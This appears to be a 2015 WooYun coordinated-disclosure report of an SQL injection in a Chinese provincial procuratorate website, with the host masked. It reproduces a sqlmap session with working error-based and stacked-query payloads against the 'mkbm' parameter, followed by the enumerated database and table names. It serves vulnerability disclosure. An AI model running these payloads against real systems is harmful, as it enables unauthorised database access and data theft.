当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0148163

漏洞标题:黑龙江省人民检察院SQL注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: python

提交时间:2015-10-21 00:03

修复时间:2015-12-07 11:04

公开时间:2015-12-07 11:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-21: 细节已通知厂商并且等待厂商处理中
2015-10-23: 厂商已经确认,细节仅向厂商公开
2015-11-02: 细节向核心白帽子及相关领域专家公开
2015-11-12: 细节向普通白帽子公开
2015-11-22: 细节向实习白帽子公开
2015-12-07: 细节向公众公开

简要描述:

黑龙江省人民检察院SQL注入漏洞,可提取数据库,其他细节未敢进一步验证。

详细说明:

注入点

sqlmap -u http://**.**.**.**/banshizn.aspx?mkbm=-7837' OR 9591=9591 AND 'xBcA'='xBcA
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150911}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 19:47:49
[19:47:50] [WARNING] it appears that you have provided tainted parameter values ('mkbm=-7837 OR 9591=9591 AND xBcA=xBcA') with most probably leftover chars/statements from manual SQL injection test(s). Please, always use only valid parameter values so sqlmap could be able to run properly
are you really sure that you want to continue (sqlmap could have problems)? [y/N] y
[19:48:07] [INFO] testing connection to the target URL
[19:48:09] [WARNING] reflective value(s) found and filtering out
[19:48:10] [INFO] testing if the target URL is stable
[19:48:11] [INFO] target URL is stable
[19:48:11] [INFO] testing if GET parameter 'mkbm' is dynamic
[19:48:12] [WARNING] GET parameter 'mkbm' does not appear dynamic
[19:48:12] [WARNING] heuristic (basic) test shows that GET parameter 'mkbm' might not be injectable
[19:48:13] [INFO] testing for SQL injection on GET parameter 'mkbm'
[19:48:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:48:25] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[19:48:27] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[19:48:31] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[19:48:34] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[19:48:36] [INFO] GET parameter 'mkbm' is 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' injectable
it looks like the back-end DBMS is '['Microsoft SQL Server', 'Sybase']'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for '['Microsoft SQL Server', 'Sybase']' extending provided level (1) and risk (1) values? [Y/n] n
[19:48:54] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[19:48:55] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[19:49:27] [INFO] GET parameter 'mkbm' seems to be 'Microsoft SQL Server/Sybase stacked queries (comment)' injectable
[19:49:27] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[19:49:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:49:27] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:49:29] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[19:49:30] [INFO] target URL appears to have 1 column in query
[19:49:31] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. '--dbms=mysql')
GET parameter 'mkbm' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 44 HTTP(s) requests:
---
Parameter: mkbm (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: mkbm=-7837 OR 9591=9591 AND xBcA=xBcA' AND 5907=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (5907=5907) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(107)+CHAR(107)+CHAR(113))) AND 'Umoz'='Umoz
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: mkbm=-7837 OR 9591=9591 AND xBcA=xBcA';WAITFOR DELAY '0:0:5'--
---
[20:01:31] [INFO] testing Microsoft SQL Server
[20:01:32] [INFO] confirming Microsoft SQL Server
[20:01:34] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
[20:01:34] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 27 times
[20:01:34] [INFO] fetched data logged to text files under '/root/.sqlmap/output/**.**.**.**'
[*] shutting down at 20:01:34


available databases [8]:
[*] LJWDB
[*] LjwWeb
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb

漏洞证明:

| D99_CMD             |
| D99_Tmp |
| S3_Tmp |
| pangolin_test_table |
| sqlmapoutput |
| t_ds |
| t_fhy |
| t_gjwb |
| t_gjyh |
| t_mk |
| t_mtklj |
| t_qx |
| t_sy |
| t_wz |
| t_yh |
| t_yqlj |
| t_yqljfl |
| temp


进一步不继续验证了!怕有敏感信息!

修复方案:

检查代码,严格过滤字符。

版权声明:转载请注明来源 python@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-10-23 11:03

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发对应分中心,由其后续协调网站管理单位处置。

最新状态:

暂无